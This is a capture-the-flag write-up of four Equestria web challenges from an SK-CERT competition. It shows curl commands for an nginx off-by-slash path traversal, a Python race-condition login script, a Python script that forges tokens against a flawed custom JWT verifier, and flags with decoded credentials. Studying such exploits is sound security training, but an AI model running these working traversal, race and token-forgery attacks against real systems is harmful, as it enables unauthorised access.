Equestria

[★★☆] Equestria - Door To The Stable

Description

We are suspecting that the website on http://exp.cybergame.sk:7000/ is hiding something. We need to find out what is hidden in the website. We've gathered what seems to be a proxy configuration file from our trusted source.

Download: nginx.conf

Config

events {
    worker_connections 1024;
}

http {
    include mime.types;

    server {
        listen 80;
        server_name localhost;

        root /app/src/html/;
        index index.html;

        location /images {
            alias /app/src/images/;
            autoindex on;
        }

        location /ponies/ {
            alias /app/src/ponies/;
        }

        location /resources/ {
            alias /app/src/resources/;
        }

        location /secretbackend/ {
            proxy_pass http://secretbackend:3000/;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
}

Solution

Equestria_Door_To_The_Stable.png

Nothing fancy on the frontend, but there's a Reverse Proxy running from http://exp.cybergame.sk:7000/secretbackend/

However it requires authentication.

Equestria_Door_To_The_Stable-1.png

The nginx.conf has 4 location blocks, so 4 routes which go somewhere else.

location /images {
location /ponies/ {
location /resources/ {
location /secretbackend/ {

If you look closer you might notice that /images is missing a slash, this is a very bad practice in nginx which is know as Nginx-Off-Slash

And just like that we bypassed the authorization

└─$ curl http://exp.cybergame.sk:7000/images../secretbackend/
<html>
<head><title>Index of /images../secretbackend/</title></head>
<body>
<h1>Index of /images../secretbackend/</h1><hr><pre><a href="../">../</a>
<a href="public/">public/</a>                                            05-Mar-2025 10:23                   -
<a href="db.js">db.js</a>                                              31-Mar-2025 19:21                3825
<a href="index.js">index.js</a>                                           18-Mar-2025 12:26                4348
<a href="jwt.js">jwt.js</a>                                             13-Mar-2025 15:13                 895
<a href="package-lock.json">package-lock.json</a>                                  13-Mar-2025 13:03               99556
<a href="package.json">package.json</a>                                       13-Mar-2025 13:03                 457
</pre><hr></body>
</html>
Equestria_Door_To_The_Stable-2.png

Download source

mkdir src
curl http://exp.cybergame.sk:7000/images../secretbackend/index.js -so src/index.js
curl http://exp.cybergame.sk:7000/images../secretbackend/db.js -so src/db.js
curl http://exp.cybergame.sk:7000/images../secretbackend/jwt.js -so src/jwt.js
curl http://exp.cybergame.sk:7000/images../secretbackend/package.json -so src/package.json
curl http://exp.cybergame.sk:7000/images../secretbackend/package-lock.json -so src/package-lock.json

db.js contains hardcoded credentials for database. One of the users has a SECRET_NOTE which should probably be flag to solve the challenge.

Equestria_Door_To_The_Stable-3.png

or not...

Equestria_Door_To_The_Stable-4.png
└─$ base64 -d <<<'cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9'
pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}

Flag: SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}

[★★☆] Equestria - Shadow Realm

Description

The secret website is protected by a login page. Can you find a way to get in?

Solution

This is a follow up challenge to previous one, now we have to login into the application and find another flag.

Creds: pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}

Equestria.png

The following route is interesting. There's no mention of what is_d4rk_pr1nc3ss method is, but if we had to guess it probably means we are logged in as pr1ncess, but not with the HTTP Basic Authentication.

app.get("/api/secret-note", authMiddleware, async (req, res) => {
  if (req.user.is_d4rk_pr1nc3ss) { return res.send(process.env.DARK_PRINCESS_SECRET); }
  return res.send("You are not the Dark Princess");
});
└─$ curl http://exp.cybergame.sk:7000/secretbackend/api/secret-note -H 'Authorization: Basic cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9'
{"error":"No token provided"}
# or
└─$ curl http://exp.cybergame.sk:7000/secretbackend/api/secret-note -u 'pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}'
{"error":"No token provided"}

The token is not generated if we login using this secret Authorization value.

We have code for JWT, but the Secret value is randomly generated string.

Equestria-1.png

Let's register and login to see what happens.

└─$ curl 'http://exp.cybergame.sk:7000/secretbackend/api/register' -u 'pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}' --json '{"username":"test","password":"test","email":"test@test.test"}' -i
HTTP/1.1 200 OK
Server: nginx/1.27.4
Date: Fri, 25 Apr 2025 18:25:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 96
Connection: keep-alive
X-Powered-By: Express
ETag: W/"60-uYPbysyY8hWvIPRh/rssRXkQDws"

{"success":true,"message":"Welcome to the Dark Stable. The Council will judge your worthiness."} 

└─$ curl 'http://exp.cybergame.sk:7000/secretbackend/api/login' -u 'pr1ncess:SK-CERT{0ff_by_4_s1ngle_sl4sh_f836a8b1}' --json '{"username":"test","password":"test"}'
{"error":"The Dark Council has not approved you yet"}

After reviewing the code I found that there's a Race Condition. sendEmailToAdministrator halts the logic of register API, and we have exactly 1 second to login into the application before verified becomes false.

Equestria-2.png
from asyncio import gather, create_task, run
from base64 import b64decode
from aiohttp import ClientSession
from random import randbytes
from urllib.parse import unquote

URL = 'http://exp.cybergame.sk:7000/secretbackend/api'
AUTH_HEADER = {'Authorization': 'Basic cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9'}

async def fetch(session, url, data):
    async with session.post(url, json=data) as response:
        return await response.json(), response.headers.get('Set-Cookie')

async def main():
    while True:
        username = randbytes(16).hex()
        print(f'Username: {username}, Password: {username}, Email: {username}@cyberame.sk')

        login_data = {"username": username, "password": username}
        register_data = {**login_data, "email": f"{username}@cybergame.sk"}

        async with ClientSession() as session:
            session.headers.update(AUTH_HEADER)

            register_task = create_task(fetch(session, f"{URL}/register", register_data))
            login_task = create_task(fetch(session, f"{URL}/login", login_data))

            results = await gather(register_task, login_task)
            for result in results:
                print(f'Status: {result[0]}, Message: {result[1]}')
                if result[1]:
                    cookie = unquote(result[1].split(';')[0])
                    value = b64decode(cookie.split('.')[1]).decode().split(';')[0]
                    print(f"Cookie: {value}")
                    return 

if __name__ == "__main__":
    run(main())

Note: Not 110% winner 😳, may need to rerun to win the race~~

Username: 4cc85c3fb3993267143ee4371ecfadf1, Password: 4cc85c3fb3993267143ee4371ecfadf1, Email: 4cc85c3fb3993267143ee4371ecfadf1@cyberame.sk
({'success': True, 'message': 'Welcome to the Dark Stable. The Council will judge your worthiness.'}, None)
({'success': True, 'welcome_msg': 'Access granted. The light has no power here. You walk the path of the unseen, where only those who understand the night may tread. Tread carefully, for even the darkness has its watchers… SK-CERT{r4c3_4g41n5t_th3_l1ght_4nd_w1n_w1th_th3_p0w3r_0f_th3_n1ght}'}, 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRhYTVjMzU4LTcyNjUtNGZlZS04NjZjLWU3YzAyMzE2ODgwNCIsInVzZXJuYW1lIjoiNGNjODVjM2ZiMzk5MzI2NzE0M2VlNDM3MWVjZmFkZjEifQ%3D%3D.sq4vdfwmZ3u7AIvj7kSRyjFC8aL1T4yrTzlHNmNv2fo%3D; Path=/; HttpOnly; SameSite=Strict')

Flag: SK-CERT{r4c3_4g41n5t_th3_l1ght_4nd_w1n_w1th_th3_p0w3r_0f_th3_n1ght}

[★★☆] Equestria - The Dark Ruler

Description

There seems to be an endpoint that is only accessible by a privileged user. Can you find a way to access it?

Solution

Okay, now that we are able to login our focus shifts towards /api/secret-note denoted by the description.

Source:

function authMiddleware(req, res, next) {
  const token = req.cookies.token;
  if (!token) return res.status(401).json({ error: "No token provided" });

  const payload = verifyToken(token);
  if (!payload) { return res.status(401).json({ error: "Invalid token" }); }

  req.user = payload;
  next();
}

app.get("/api/secret-note", authMiddleware, async (req, res) => {
  if (req.user.is_d4rk_pr1nc3ss) { return res.send(process.env.DARK_PRINCESS_SECRET); }
  return res.send("You are not the Dark Princess");
});

Initially I thought is_d4rk_pr1nc3ss was some hidden attribute we didn't have access to, but no! It literally is a non-existant key in the json payload

The JWT token is split into 3 parts

  1. Metadata

  2. Payload

  3. Signature

Equestria-3.png

verifyToken returns the Payload as part of Javascript dictionary object if the signature matches with defined logic.

const crypto = require("crypto");
const { v4 } = require("uuid");

const JWT_SECRET = v4(); // God knows what the f#*k this is

function createToken(payload) {
  const base64Payload = Buffer.from(JSON.stringify(payload)).toString("base64");
  const signature = crypto
    .createHmac("sha256", JWT_SECRET)
    .update(base64Payload)
    .digest("base64");

  return `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.${base64Payload}.${signature}`;
}

function verifyToken(token) {
  const parts = token.split(".");
  if (parts.length < 3) return null; // Can be more then 3, but not less 🤔

  const payload = parts[1];
  const signature = parts[parts.length - 1];

  const expectedSignature = crypto
    .createHmac("sha256", JWT_SECRET)
    .update(parts[parts.length - 2]) // Weird indexing
    .digest("base64");

  if (signature === expectedSignature) { return JSON.parse(Buffer.from(payload, "base64").toString()); }
  return null;
}

module.exports = { createToken, verifyToken };

The Metadata part is always hardcoded to eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9, also I just realized there's no actual JWT library, just raw functions acting like JWT authentication.

verifyToken is very fishy, but can't seem to put finger on why.

  1. It checks that given JWT contains 3 parts, but never checks if there's more (and frankly doesn't care)

  2. expectedSignature is calculated from JWT_SECRET + parts[parts.length - 2] (second item from the end, which should always be Payload but can be anything since parts can be more then 3)

TLDR: We need payload to be like

{
	"id":"402a0cd8-2249-4f29-8176-29f3b36b66ae",
	"username":"whatever",
	"is_d4rk_pr1nc3ss": "truthy_value"
}

The code is flawed, and if we have something like this we are golden!

metadata.malicious_payload.dummy.original_payload.signature

1. metadata - The original metadata
2. malicious_payload - New payload we will inject // parts[1]
3. dummy - doesnt matter, filler
4. original_payload - Original payload for signature // parts[parts.length - 2]
5. signature - Original payload signature // parts[parts.length - 1]

For above to work we need valid token from application and then we can forge it.

import json 
from base64 import b64encode as be

COOKIE = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRhYTVjMzU4LTcyNjUtNGZlZS04NjZjLWU3YzAyMzE2ODgwNCIsInVzZXJuYW1lIjoiNGNjODVjM2ZiMzk5MzI2NzE0M2VlNDM3MWVjZmFkZjEifQ%3D%3D.sq4vdfwmZ3u7AIvj7kSRyjFC8aL1T4yrTzlHNmNv2fo%3D'

metadata, payload, signature = COOKIE.split('.')

malicious_payload = be(json.dumps({
    "id":"402a0cd8-2249-4f29-8176-29f3b36b66ae",
    "username":"letmein",
    "is_d4rk_pr1nc3ss": True
}).encode()).decode()

payload = f'{metadata}.{malicious_payload}.filler.{payload}.{signature}'
print(payload)
└─$ curl http://exp.cybergame.sk:7000/secretbackend/api/secret-note -H 'Authorization: Basic cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ICI0MDJhMGNkOC0yMjQ5LTRmMjktODE3Ni0yOWYzYjM2YjY2YWUiLCAidXNlcm5hbWUiOiAibGV0bWVpbiIsICJpc19kNHJrX3ByMW5jM3NzIjogdHJ1ZX0=.filler.eyJpZCI6ImRhYTVjMzU4LTcyNjUtNGZlZS04NjZjLWU3YzAyMzE2ODgwNCIsInVzZXJuYW1lIjoiNGNjODVjM2ZiMzk5MzI2NzE0M2VlNDM3MWVjZmFkZjEifQ%3D%3D.sq4vdfwmZ3u7AIvj7kSRyjFC8aL1T4yrTzlHNmNv2fo%3D'
They fear the night, yet they do not understand its power. The fools bask in the daylight, blind to what lurks beyond the stars. But I see. I remember. And soon, they will too. The throne was never meant for the sun alone. The time will come. I must be patient. SK-CERT{1_w1ll_rul3_th3_n1ght_4nd_th3_d4y}

Flag: SK-CERT{1_w1ll_rul3_th3_n1ght_4nd_th3_d4y}

[★★☆] Equestria - Final Curse

Description

The last piece of information we need should be in the notes of one of the users. We need to find it.

Disclaimer: Was not able to solve within given time.

Solution

The only code where SQLi is possible is here:

function filterSQLChars(input) {
  return input.replace(/['";\\=()\/\n\r ]/g, "").replaceAll("--", "");
}

app.get("/api/notes", authMiddleware, async (req, res) => {
  try {
    const q = "SELECT * FROM notes WHERE user_id = '{{user_id}}'".replace("{{user_id}}", filterSQLChars(req.user.id));
    const { rows } = await dbAsync.query(q);
    return res.json(rows);
  } catch (err) {
    return res.status(500).json({ error: "Query failed", err: err.message });
  }
});

app.post("/api/notes", authMiddleware, async (req, res) => {
  try {
    const { content } = req.body;
    const { rows } = await dbAsync.query("INSERT INTO notes (user_id, content) VALUES ($1, $2) RETURNING id", [req.user.id, content]);
    return res.json({ id: rows[0].id });
  } catch (err) {
    return res.status(500).json({ error: "Failed to create note" });
  }
});

Database type is Postgres and the filters are very limited. To begin SQLi we somehow need to escape the quotes, but can't since it's blocked.

Resource: github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Turns out it was never about SQL, but Javascript...

Equestria-4.png
Equestria-5.png

Credit: trololo1004 (Discord)

Writeup 2: lukaskuzmiak: cybergame.sk-2025-writeups, Equestria

Flag: `SK-CERT{j4v4scr1p7_1s_full_of_curs3d_(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]] +([][[]]+[])[+[]]+(![]+[])[+[]]+(![]+[])[+[]]}`

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